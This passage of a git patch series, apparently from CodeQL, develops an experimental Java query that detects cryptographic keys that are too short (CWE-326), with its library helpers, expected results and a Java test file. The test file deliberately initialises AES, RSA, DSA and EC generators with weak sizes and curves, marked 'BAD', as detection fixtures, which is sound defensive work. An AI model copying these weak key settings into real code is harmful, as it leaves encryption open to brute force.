`java.security.spec.ECGenParameterSpec`. */ +class ECGenParameterSpec extends RefType { + ECGenParameterSpec() { this.hasQualifiedName("java.security.spec", "ECGenParameterSpec") } +} + +/** The `init` method declared in `javax.crypto.KeyGenerator`. */ +class KeyGeneratorInitMethod extends Method { + KeyGeneratorInitMethod() { + getDeclaringType() instanceof KeyGenerator and + hasName("init") + } +} + +/** The `initialize` method declared in `java.security.KeyPairGenerator`. */ +class KeyPairGeneratorInitMethod extends Method { + KeyPairGeneratorInitMethod() { + getDeclaringType() instanceof KeyPairGenerator and + hasName("initialize") + } +} + +/** Taint configuration tracking flow from a key generator to a `init` method call. */ +class CryptoKeyGeneratorConfiguration extends TaintTracking::Configuration { + CryptoKeyGeneratorConfiguration() { this = "CryptoKeyGeneratorConfiguration" } + + override predicate isSource(DataFlow::Node source) { + exists(JavaxCryptoKeyGenerator jcg | jcg = source.asExpr()) + } + + override predicate isSink(DataFlow::Node sink) { + exists(MethodAccess ma | + ma.getMethod() instanceof KeyGeneratorInitMethod and + sink.asExpr() = ma.getQualifier() + ) + } +} + +/** Taint configuration tracking flow from a keypair generator to a `initialize` method call. */ +class KeyPairGeneratorConfiguration extends TaintTracking::Configuration { + KeyPairGeneratorConfiguration() { this = "KeyPairGeneratorConfiguration" } + + override predicate isSource(DataFlow::Node source) { + exists(JavaSecurityKeyPairGenerator jkg | jkg = source.asExpr()) + } + + override predicate isSink(DataFlow::Node sink) { + exists(MethodAccess ma | + ma.getMethod() instanceof KeyPairGeneratorInitMethod and + sink.asExpr() = ma.getQualifier() + ) + } +} + +/** Holds if an AES `KeyGenerator` is initialized with an insufficient key size. */ +predicate incorrectUseOfAES(MethodAccess ma, string msg) { + ma.getMethod() instanceof KeyGeneratorInitMethod and + exists( + JavaxCryptoKeyGenerator jcg, CryptoKeyGeneratorConfiguration cc, DataFlow::PathNode source, + DataFlow::PathNode dest + | + jcg.getAlgoSpec().(StringLiteral).getValue() = "AES" and + source.getNode().asExpr() = jcg and + dest.getNode().asExpr() = ma.getQualifier() and + cc.hasFlowPath(source, dest) + ) and + ma.getArgument(0).(IntegerLiteral).getIntValue() < 128 and + msg = "Key size should be at least 128 bits for AES encryption." +} + +/** Holds if a DSA `KeyPairGenerator` is initialized with an insufficient key size. */ +predicate incorrectUseOfDSA(MethodAccess ma, string msg) { + ma.getMethod() instanceof KeyPairGeneratorInitMethod and + exists( + JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorConfiguration kc, DataFlow::PathNode source, + DataFlow::PathNode dest + | + jpg.getAlgoSpec().(StringLiteral).getValue() = "DSA" and + source.getNode().asExpr() = jpg and + dest.getNode().asExpr() = ma.getQualifier() and + kc.hasFlowPath(source, dest) + ) and + ma.getArgument(0).(IntegerLiteral).getIntValue() < 2048 and + msg = "Key size should be at least 2048 bits for DSA encryption." +} + +/** Holds if a RSA `KeyPairGenerator` is initialized with an insufficient key size. */ +predicate incorrectUseOfRSA(MethodAccess ma, string msg) { + ma.getMethod() instanceof KeyPairGeneratorInitMethod and + exists( + JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorConfiguration kc, DataFlow::PathNode source, + DataFlow::PathNode dest + | + jpg.getAlgoSpec().(StringLiteral).getValue() = "RSA" and + source.getNode().asExpr() = jpg and + dest.getNode().asExpr() = ma.getQualifier() and + kc.hasFlowPath(source, dest) + ) and + ma.getArgument(0).(IntegerLiteral).getIntValue() < 2048 and + msg = "Key size should be at least 2048 bits for RSA encryption." +} + +/** Holds if an EC `KeyPairGenerator` is initialized with an insufficient key size. */ +predicate incorrectUseOfEC(MethodAccess ma, string msg) { + ma.getMethod() instanceof KeyPairGeneratorInitMethod and + exists( + JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorConfiguration kc, DataFlow::PathNode source, + DataFlow::PathNode dest, ClassInstanceExpr cie + | + jpg.getAlgoSpec().(StringLiteral).getValue().matches("EC%") and //ECC variants such as ECDH and ECDSA + source.getNode().asExpr() = jpg and + dest.getNode().asExpr() = ma.getQualifier() and + kc.hasFlowPath(source, dest) and + exists(VariableAssign va | + ma.getArgument(0).(VarAccess).getVariable() = va.getDestVar() and + va.getSource() = cie and + cie.getArgument(0) + .(StringLiteral) + .getRepresentedString() + .regexpCapture(".*[a-zA-Z]+([0-9]+)[a-zA-Z]+.*", 1) + .toInt() < 224 + ) + ) and + msg = "Key size should be at least 224 bits for EC encryption." +} + +from Expr e, string msg +where + incorrectUseOfAES(e, msg) or + incorrectUseOfDSA(e, msg) or + incorrectUseOfRSA(e, msg) or + incorrectUseOfEC(e, msg) +select e, msg diff --git a/java/ql/src/semmle/code/java/security/Encryption.qll b/java/ql/src/semmle/code/java/security/Encryption.qll index d48a5c6c715..b133fd3c523 100644 --- a/java/ql/src/semmle/code/java/security/Encryption.qll +++ b/java/ql/src/semmle/code/java/security/Encryption.qll @@ -304,3 +304,15 @@ class JavaSecuritySignature extends JavaSecurityAlgoSpec { override Expr getAlgoSpec() { result = this.(ConstructorCall).getArgument(0) } } + +/** Method call to the Java class `java.security.KeyPairGenerator`. */ +class JavaSecurityKeyPairGenerator extends JavaxCryptoAlgoSpec { + JavaSecurityKeyPairGenerator() { + exists(Method m | m.getAReference() = this | + m.getDeclaringType().getQualifiedName() = "java.security.KeyPairGenerator" and + m.getName() = "getInstance" + ) + } + + override Expr getAlgoSpec() { result = this.(MethodAccess).getArgument(0) } +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected new file mode 100644 index 00000000000..b47469aed5d --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected @@ -0,0 +1,4 @@ +| InsufficientKeySize.java:9:9:9:24 | init(...) | Key size should be at least 128 bits for AES encryption. | +| InsufficientKeySize.java:17:9:17:36 | initialize(...) | Key size should be at least 2048 bits for RSA encryption. | +| InsufficientKeySize.java:25:9:25:36 | initialize(...) | Key size should be at least 2048 bits for DSA encryption. | +| InsufficientKeySize.java:34:9:34:39 | initialize(...) | Key size should be at least 224 bits for EC encryption. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java new file mode 100644 index 00000000000..13f74b6fac3 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java @@ -0,0 +1,41 @@ +import java.security.KeyPairGenerator; +import java.security.spec.ECGenParameterSpec; +import javax.crypto.KeyGenerator; + +public class InsufficientKeySize { + public void CryptoMethod() { + KeyGenerator keyGen1 = KeyGenerator.getInstance("AES"); + // BAD: Key size is less than 128 + keyGen1.init(64); + + KeyGenerator keyGen2 = KeyGenerator.getInstance("AES"); + // GOOD: Key size is no less than 128 + keyGen2.init(128); + + KeyPairGenerator keyPairGen1 = KeyPairGenerator.getInstance("RSA"); + // BAD: Key size is less than 2048 + keyPairGen1.initialize(1024); + + KeyPairGenerator keyPairGen2 = KeyPairGenerator.getInstance("RSA"); + // GOOD: Key size is no less than 2048 + keyPairGen2.initialize(2048); + + KeyPairGenerator keyPairGen3 = KeyPairGenerator.getInstance("DSA"); + // BAD: Key size is less than 2048 + keyPairGen3.initialize(1024); + + KeyPairGenerator keyPairGen4 = KeyPairGenerator.getInstance("DSA"); + // GOOD: Key size is no less than 2048 + keyPairGen4.initialize(2048); + + KeyPairGenerator keyPairGen5 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is less than 224 + ECGenParameterSpec ecSpec1 = new ECGenParameterSpec("secp112r1"); + keyPairGen5.initialize(ecSpec1); + + KeyPairGenerator keyPairGen6 = KeyPairGenerator.getInstance("EC"); + // GOOD: Key size is no less than 224 + ECGenParameterSpec ecSpec2 = new ECGenParameterSpec("secp256r1"); + keyPairGen6.initialize(ecSpec2); + } +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.qlref b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.qlref new file mode 100644 index 00000000000..2b35cd6921e --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.qlref @@ -0,0 +1 @@ +experimental/Security/CWE/CWE-326/InsufficientKeySize.ql \ No newline at end of file From cbaee937d0ab8962278be494e36eaad5ab24693f Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Fri, 8 Jan 2021 21:56:34 +0000 Subject: [PATCH 0890/1241] Optimize the query --- .../CWE/CWE-326/InsufficientKeySize.qhelp | 6 +- .../CWE/CWE-326/InsufficientKeySize.ql | 91 ++++++++----------- .../semmle/code/java/security/Encryption.qll | 14 ++- .../CWE-326/InsufficientKeySize.expected | 4 + .../security/CWE-326/InsufficientKeySize.java | 21 ++++- 5 files changed, 77 insertions(+), 59 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.qhelp b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.qhelp index 8de21f1c90a..10ec6adc9df 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.qhelp +++ b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.qhelp @@ -6,7 +6,7 @@ are vulnerable to brute force attack when too small a key size is used.</p> </overview> <recommendation> - <p>The key should be at least 2048-bit long when using RSA and DSA encryption, 224-bit long when using EC encryption, and 128-bit long when using + <p>The key should be at least 2048 bits long when using RSA and DSA encryption, 224 bits long when using EC encryption, and 128 bits long when using symmetric encryption.</p> </recommendation> @@ -24,10 +24,6 @@ symmetric encryption.</p> CWE. <a href="https://cwe.mitre.org/data/definitions/326.html">CWE-326: Inadequate Encryption Strength</a> </li> - <li> - C# implementation of CodeQL - <a href="https://github.com/github/codeql/blob/df29a1636555465527d17668c19c202e365cf502/csharp/ql/src/Security%20Features/InsufficientKeySize.ql">codeql/csharp/ql/src/Security Features/InsufficientKeySize.ql</a> - </li> </references> </qhelp> \ No newline at end of file diff --git a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql index 882d997f1b8..df265f267f7 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql @@ -11,16 +11,6 @@ import java import semmle.code.java.security.Encryption import semmle.code.java.dataflow.TaintTracking -/** The Java class `javax.crypto.KeyGenerator`. */ -class KeyGenerator extends RefType { - KeyGenerator() { this.hasQualifiedName("javax.crypto", "KeyGenerator") } -} - -/** The Java class `javax.crypto.KeyGenerator`. */ -class KeyPairGenerator extends RefType { - KeyPairGenerator() { this.hasQualifiedName("java.security", "KeyPairGenerator") } -} - /** The Java class `java.security.spec.ECGenParameterSpec`. */ class ECGenParameterSpec extends RefType { ECGenParameterSpec() { this.hasQualifiedName("java.security.spec", "ECGenParameterSpec") } @@ -42,9 +32,19 @@ class KeyPairGeneratorInitMethod extends Method { } } +/** Returns the key size in the EC algorithm string */ +bindingset[algorithm] +int getECKeySize(string algorithm) { + algorithm.matches("sec%") and // specification such as "secp256r1" + result = algorithm.regexpCapture("sec[p|t](\\d+)[a-zA-Z].*", 1).toInt() + or + algorithm.matches("X9.62%") and //specification such as "X9.62 prime192v2" + result = algorithm.regexpCapture("X9.62 .*[a-zA-Z](\\d+)[a-zA-Z].*", 1).toInt() +} + /** Taint configuration tracking flow from a key generator to a `init` method call. */ -class CryptoKeyGeneratorConfiguration extends TaintTracking::Configuration { - CryptoKeyGeneratorConfiguration() { this = "CryptoKeyGeneratorConfiguration" } +class KeyGeneratorInitConfiguration extends TaintTracking::Configuration { + KeyGeneratorInitConfiguration() { this = "KeyGeneratorInitConfiguration" } override predicate isSource(DataFlow::Node source) { exists(JavaxCryptoKeyGenerator jcg | jcg = source.asExpr()) @@ -59,8 +59,8 @@ class CryptoKeyGeneratorConfiguration extends TaintTracking::Configuration { } /** Taint configuration tracking flow from a keypair generator to a `initialize` method call. */ -class KeyPairGeneratorConfiguration extends TaintTracking::Configuration { - KeyPairGeneratorConfiguration() { this = "KeyPairGeneratorConfiguration" } +class KeyPairGeneratorInitConfiguration extends TaintTracking::Configuration { + KeyPairGeneratorInitConfiguration() { this = "KeyPairGeneratorInitConfiguration" } override predicate isSource(DataFlow::Node source) { exists(JavaSecurityKeyPairGenerator jkg | jkg = source.asExpr()) @@ -75,10 +75,10 @@ class KeyPairGeneratorConfiguration extends TaintTracking::Configuration { } /** Holds if an AES `KeyGenerator` is initialized with an insufficient key size. */ -predicate incorrectUseOfAES(MethodAccess ma, string msg) { +predicate hasShortAESKey(MethodAccess ma, string msg) { ma.getMethod() instanceof KeyGeneratorInitMethod and exists( - JavaxCryptoKeyGenerator jcg, CryptoKeyGeneratorConfiguration cc, DataFlow::PathNode source, + JavaxCryptoKeyGenerator jcg, KeyGeneratorInitConfiguration cc, DataFlow::PathNode source, DataFlow::PathNode dest | jcg.getAlgoSpec().(StringLiteral).getValue() = "AES" and @@ -90,66 +90,55 @@ predicate incorrectUseOfAES(MethodAccess ma, string msg) { msg = "Key size should be at least 128 bits for AES encryption." } -/** Holds if a DSA `KeyPairGenerator` is initialized with an insufficient key size. */ -predicate incorrectUseOfDSA(MethodAccess ma, string msg) { +/** Holds if an asymmetric `KeyPairGenerator` is initialized with an insufficient key size. */ +bindingset[type] +predicate hasShortAsymmetricKeyPair(MethodAccess ma, string msg, string type) { ma.getMethod() instanceof KeyPairGeneratorInitMethod and exists( - JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorConfiguration kc, DataFlow::PathNode source, - DataFlow::PathNode dest + JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorInitConfiguration kc, + DataFlow::PathNode source, DataFlow::PathNode dest | - jpg.getAlgoSpec().(StringLiteral).getValue() = "DSA" and + jpg.getAlgoSpec().(StringLiteral).getValue() = type and source.getNode().asExpr() = jpg and dest.getNode().asExpr() = ma.getQualifier() and kc.hasFlowPath(source, dest) ) and ma.getArgument(0).(IntegerLiteral).getIntValue() < 2048 and - msg = "Key size should be at least 2048 bits for DSA encryption." + msg = "Key size should be at least 2048 bits for " + type + " encryption." +} + +/** Holds if a DSA `KeyPairGenerator` is initialized with an insufficient key size. */ +predicate hasShortDSAKeyPair(MethodAccess ma, string msg) { + hasShortAsymmetricKeyPair(ma, msg, "DSA") } /** Holds if a RSA `KeyPairGenerator` is initialized with an insufficient key size. */ -predicate incorrectUseOfRSA(MethodAccess ma, string msg) { - ma.getMethod() instanceof KeyPairGeneratorInitMethod and - exists( - JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorConfiguration kc, DataFlow::PathNode source, - DataFlow::PathNode dest - | - jpg.getAlgoSpec().(StringLiteral).getValue() = "RSA" and - source.getNode().asExpr() = jpg and - dest.getNode().asExpr() = ma.getQualifier() and - kc.hasFlowPath(source, dest) - ) and - ma.getArgument(0).(IntegerLiteral).getIntValue() < 2048 and - msg = "Key size should be at least 2048 bits for RSA encryption." +predicate hasShortRSAKeyPair(MethodAccess ma, string msg) { + hasShortAsymmetricKeyPair(ma, msg, "RSA") } /** Holds if an EC `KeyPairGenerator` is initialized with an insufficient key size. */ -predicate incorrectUseOfEC(MethodAccess ma, string msg) { +predicate hasShortECKeyPair(MethodAccess ma, string msg) { ma.getMethod() instanceof KeyPairGeneratorInitMethod and exists( - JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorConfiguration kc, DataFlow::PathNode source, - DataFlow::PathNode dest, ClassInstanceExpr cie + JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorInitConfiguration kc, + DataFlow::PathNode source, DataFlow::PathNode dest, ClassInstanceExpr cie | jpg.getAlgoSpec().(StringLiteral).getValue().matches("EC%") and //ECC variants such as ECDH and ECDSA source.getNode().asExpr() = jpg and dest.getNode().asExpr() = ma.getQualifier() and kc.hasFlowPath(source, dest) and - exists(VariableAssign va | - ma.getArgument(0).(VarAccess).getVariable() = va.getDestVar() and - va.getSource() = cie and - cie.getArgument(0) - .(StringLiteral) - .getRepresentedString() - .regexpCapture(".*[a-zA-Z]+([0-9]+)[a-zA-Z]+.*", 1) - .toInt() < 224 - ) + DataFlow::localExprFlow(cie, ma.getArgument(0)) and + ma.getArgument(0).getType() instanceof ECGenParameterSpec and + getECKeySize(cie.getArgument(0).(StringLiteral).getRepresentedString()) < 224 ) and msg = "Key size should be at least 224 bits for EC encryption." } from Expr e, string msg where - incorrectUseOfAES(e, msg) or - incorrectUseOfDSA(e, msg) or - incorrectUseOfRSA(e, msg) or - incorrectUseOfEC(e, msg) + hasShortAESKey(e, msg) or + hasShortDSAKeyPair(e, msg) or + hasShortRSAKeyPair(e, msg) or + hasShortECKeyPair(e, msg) select e, msg diff --git a/java/ql/src/semmle/code/java/security/Encryption.qll b/java/ql/src/semmle/code/java/security/Encryption.qll index b133fd3c523..9c10569d8c1 100644 --- a/java/ql/src/semmle/code/java/security/Encryption.qll +++ b/java/ql/src/semmle/code/java/security/Encryption.qll @@ -38,6 +38,16 @@ class HostnameVerifier extends RefType { HostnameVerifier() { hasQualifiedName("javax.net.ssl", "HostnameVerifier") } } +/** The Java class `javax.crypto.KeyGenerator`. */ +class KeyGenerator extends RefType { + KeyGenerator() { this.hasQualifiedName("javax.crypto", "KeyGenerator") } +} + +/** The Java class `java.security.KeyPairGenerator`. */ +class KeyPairGenerator extends RefType { + KeyPairGenerator() { this.hasQualifiedName("java.security", "KeyPairGenerator") } +} + /** The `verify` method of the class `javax.net.ssl.HostnameVerifier`. */ class HostnameVerifierVerify extends Method { HostnameVerifierVerify() { @@ -248,7 +258,7 @@ class JavaxCryptoSecretKey extends JavaxCryptoAlgoSpec { class JavaxCryptoKeyGenerator extends JavaxCryptoAlgoSpec { JavaxCryptoKeyGenerator() { exists(Method m | m.getAReference() = this | - m.getDeclaringType().getQualifiedName() = "javax.crypto.KeyGenerator" and + m.getDeclaringType() instanceof KeyGenerator and m.getName() = "getInstance" ) } @@ -309,7 +319,7 @@ class JavaSecuritySignature extends JavaSecurityAlgoSpec { class JavaSecurityKeyPairGenerator extends JavaxCryptoAlgoSpec { JavaSecurityKeyPairGenerator() { exists(Method m | m.getAReference() = this | - m.getDeclaringType().getQualifiedName() = "java.security.KeyPairGenerator" and + m.getDeclaringType() instanceof KeyPairGenerator and m.getName() = "getInstance" ) } diff --git a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected index b47469aed5d..f350495d28f 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected +++ b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.expected @@ -2,3 +2,7 @@ | InsufficientKeySize.java:17:9:17:36 | initialize(...) | Key size should be at least 2048 bits for RSA encryption. | | InsufficientKeySize.java:25:9:25:36 | initialize(...) | Key size should be at least 2048 bits for DSA encryption. | | InsufficientKeySize.java:34:9:34:39 | initialize(...) | Key size should be at least 224 bits for EC encryption. | +| InsufficientKeySize.java:38:9:38:67 | initialize(...) | Key size should be at least 224 bits for EC encryption. | +| InsufficientKeySize.java:48:9:48:39 | initialize(...) | Key size should be at least 224 bits for EC encryption. | +| InsufficientKeySize.java:53:9:53:39 | initialize(...) | Key size should be at least 224 bits for EC encryption. | +| InsufficientKeySize.java:58:9:58:40 | initialize(...) | Key size should be at least 224 bits for EC encryption. | diff --git a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java index 13f74b6fac3..80d49cdf5f1 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java +++ b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java @@ -34,8 +34,27 @@ public class InsufficientKeySize { keyPairGen5.initialize(ecSpec1); KeyPairGenerator keyPairGen6 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is less than 224 + keyPairGen6.initialize(new ECGenParameterSpec("secp112r1")); + + KeyPairGenerator keyPairGen7 = KeyPairGenerator.getInstance("EC"); // GOOD: Key size is no less than 224 ECGenParameterSpec ecSpec2 = new ECGenParameterSpec("secp256r1"); - keyPairGen6.initialize(ecSpec2); + keyPairGen7.initialize(ecSpec2); + + KeyPairGenerator keyPairGen8 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is less than 224 + ECGenParameterSpec ecSpec3 = new ECGenParameterSpec("X9.62 prime192v2"); + keyPairGen8.initialize(ecSpec3); + + KeyPairGenerator keyPairGen9 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is less than 224 + ECGenParameterSpec ecSpec4 = new ECGenParameterSpec("X9.62 c2tnb191v3"); + keyPairGen9.initialize(ecSpec4); + + KeyPairGenerator keyPairGen10 = KeyPairGenerator.getInstance("EC"); + // BAD: Key size is less than 224 + ECGenParameterSpec ecSpec5 = new ECGenParameterSpec("sect163k1"); + keyPairGen10.initialize(ecSpec5); } } From 058f3af4b21bfe3dec4bdcbb84f3bd26c5830dca Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Sat, 9 Jan 2021 13:48:29 +0000 Subject: [PATCH 0891/1241] Refactor the hasShortSymmetricKey method --- .../Security/CWE/CWE-326/InsufficientKeySize.ql | 14 +++++++++----- .../security/CWE-326/InsufficientKeySize.java | 5 +++++ 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql index df265f267f7..169e1e58a69 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql @@ -39,7 +39,7 @@ int getECKeySize(string algorithm) { result = algorithm.regexpCapture("sec[p|t](\\d+)[a-zA-Z].*", 1).toInt() or algorithm.matches("X9.62%") and //specification such as "X9.62 prime192v2" - result = algorithm.regexpCapture("X9.62 .*[a-zA-Z](\\d+)[a-zA-Z].*", 1).toInt() + result = algorithm.regexpCapture("X9\\.62 .*[a-zA-Z](\\d+)[a-zA-Z].*", 1).toInt() } /** Taint configuration tracking flow from a key generator to a `init` method call. */ @@ -74,22 +74,26 @@ class KeyPairGeneratorInitConfiguration extends TaintTracking::Configuration { } } -/** Holds if an AES `KeyGenerator` is initialized with an insufficient key size. */ -predicate hasShortAESKey(MethodAccess ma, string msg) { +/** Holds if a symmetric `KeyGenerator` is initialized with an insufficient key size. */ +bindingset[type] +predicate hasShortSymmetricKey(MethodAccess ma, string msg, string type) { ma.getMethod() instanceof KeyGeneratorInitMethod and exists( JavaxCryptoKeyGenerator jcg, KeyGeneratorInitConfiguration cc, DataFlow::PathNode source, DataFlow::PathNode dest | - jcg.getAlgoSpec().(StringLiteral).getValue() = "AES" and + jcg.getAlgoSpec().(StringLiteral).getValue() = type and source.getNode().asExpr() = jcg and dest.getNode().asExpr() = ma.getQualifier() and cc.hasFlowPath(source, dest) ) and ma.getArgument(0).(IntegerLiteral).getIntValue() < 128 and - msg = "Key size should be at least 128 bits for AES encryption." + msg = "Key size should be at least 128 bits for " + type + " encryption." } +/** Holds if an AES `KeyGenerator` is initialized with an insufficient key size. */ +predicate hasShortAESKey(MethodAccess ma, string msg) { hasShortSymmetricKey(ma, msg, "AES") } + /** Holds if an asymmetric `KeyPairGenerator` is initialized with an insufficient key size. */ bindingset[type] predicate hasShortAsymmetricKeyPair(MethodAccess ma, string msg, string type) { diff --git a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java index 80d49cdf5f1..45b7c610df1 100644 --- a/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java +++ b/java/ql/test/experimental/query-tests/security/CWE-326/InsufficientKeySize.java @@ -56,5 +56,10 @@ public class InsufficientKeySize { // BAD: Key size is less than 224 ECGenParameterSpec ecSpec5 = new ECGenParameterSpec("sect163k1"); keyPairGen10.initialize(ecSpec5); + + KeyPairGenerator keyPairGen11 = KeyPairGenerator.getInstance("EC"); + // GOOD: Key size is no less than 224 + ECGenParameterSpec ecSpec6 = new ECGenParameterSpec("X9.62 c2tnb359v1"); + keyPairGen11.initialize(ecSpec6); } } From 2ac7b4bab42c4146fb9f629291d049efa43d52e8 Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Mon, 11 Jan 2021 12:59:00 +0000 Subject: [PATCH 0892/1241] Update qldoc --- .../Security/CWE/CWE-326/InsufficientKeySize.ql | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql index 169e1e58a69..c925ef0a966 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql @@ -74,7 +74,7 @@ class KeyPairGeneratorInitConfiguration extends TaintTracking::Configuration { } } -/** Holds if a symmetric `KeyGenerator` is initialized with an insufficient key size. */ +/** Holds if a symmetric `KeyGenerator` implementing encryption algorithm `type` and initialized by `ma` uses an insufficient key size. `msg` provides a human-readable description of the problem. */ bindingset[type] predicate hasShortSymmetricKey(MethodAccess ma, string msg, string type) { ma.getMethod() instanceof KeyGeneratorInitMethod and @@ -91,10 +91,10 @@ predicate hasShortSymmetricKey(MethodAccess ma, string msg, string type) { msg = "Key size should be at least 128 bits for " + type + " encryption." } -/** Holds if an AES `KeyGenerator` is initialized with an insufficient key size. */ +/** Holds if an AES `KeyGenerator` initialized by `ma` uses an insufficient key size. `msg` provides a human-readable description of the problem. */ predicate hasShortAESKey(MethodAccess ma, string msg) { hasShortSymmetricKey(ma, msg, "AES") } -/** Holds if an asymmetric `KeyPairGenerator` is initialized with an insufficient key size. */ +/** Holds if an asymmetric `KeyPairGenerator` implementing encryption algorithm `type` and initialized by `ma` uses an insufficient key size. `msg` provides a human-readable description of the problem. */ bindingset[type] predicate hasShortAsymmetricKeyPair(MethodAccess ma, string msg, string type) { ma.getMethod() instanceof KeyPairGeneratorInitMethod and @@ -111,24 +111,24 @@ predicate hasShortAsymmetricKeyPair(MethodAccess ma, string msg, string type) { msg = "Key size should be at least 2048 bits for " + type + " encryption." } -/** Holds if a DSA `KeyPairGenerator` is initialized with an insufficient key size. */ +/** Holds if a DSA `KeyPairGenerator` initialized by `ma` uses an insufficient key size. `msg` provides a human-readable description of the problem. */ predicate hasShortDSAKeyPair(MethodAccess ma, string msg) { hasShortAsymmetricKeyPair(ma, msg, "DSA") } -/** Holds if a RSA `KeyPairGenerator` is initialized with an insufficient key size. */ +/** Holds if a RSA `KeyPairGenerator` initialized by `ma` uses an insufficient key size. `msg` provides a human-readable description of the problem. */ predicate hasShortRSAKeyPair(MethodAccess ma, string msg) { hasShortAsymmetricKeyPair(ma, msg, "RSA") } -/** Holds if an EC `KeyPairGenerator` is initialized with an insufficient key size. */ +/** Holds if an EC `KeyPairGenerator` initialized by `ma` uses an insufficient key size. `msg` provides a human-readable description of the problem. */ predicate hasShortECKeyPair(MethodAccess ma, string msg) { ma.getMethod() instanceof KeyPairGeneratorInitMethod and exists( JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorInitConfiguration kc, DataFlow::PathNode source, DataFlow::PathNode dest, ClassInstanceExpr cie | - jpg.getAlgoSpec().(StringLiteral).getValue().matches("EC%") and //ECC variants such as ECDH and ECDSA + jpg.getAlgoSpec().(StringLiteral).getValue().matches("EC%") and // ECC variants such as ECDH and ECDSA source.getNode().asExpr() = jpg and dest.getNode().asExpr() = ma.getQualifier() and kc.hasFlowPath(source, dest) and From ab7d257569907903cf6731fa10f64c348ad25b46 Mon Sep 17 00:00:00 2001 From: luchua-bc <shengxin.canada@gmail.com> Date: Fri, 15 Jan 2021 13:11:32 +0000 Subject: [PATCH 0893/1241] Add more cases and change EC to 256 bits --- .../CWE/CWE-326/InsufficientKeySize.ql | 11 +++-- .../CWE-326/InsufficientKeySize.expected | 13 +++--- .../security/CWE-326/InsufficientKeySize.java | 42 +++++++++++++++---- 3 files changed, 50 insertions(+), 16 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql index c925ef0a966..41242a44805 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-326/InsufficientKeySize.ql @@ -40,6 +40,9 @@ int getECKeySize(string algorithm) { or algorithm.matches("X9.62%") and //specification such as "X9.62 prime192v2" result = algorithm.regexpCapture("X9\\.62 .*[a-zA-Z](\\d+)[a-zA-Z].*", 1).toInt() + or + (algorithm.matches("prime%") or algorithm.matches("c2tnb%")) and //specification such as "prime192v2" + result = algorithm.regexpCapture(".*[a-zA-Z](\\d+)[a-zA-Z].*", 1).toInt() } /** Taint configuration tracking flow from a key generator to a `init` method call. */ @@ -102,7 +105,7 @@ predicate hasShortAsymmetricKeyPair(MethodAccess ma, string msg, string type) { JavaSecurityKeyPairGenerator jpg, KeyPairGeneratorInitConfiguration kc, DataFlow::PathNode source, DataFlow::PathNode dest | - jpg.getAlgoSpec().(StringLiteral).getValue() = type and + jpg.getAlgoSpec().(StringLiteral).getValue().toUpperCase() = type and source.getNode().asExpr() = jpg and 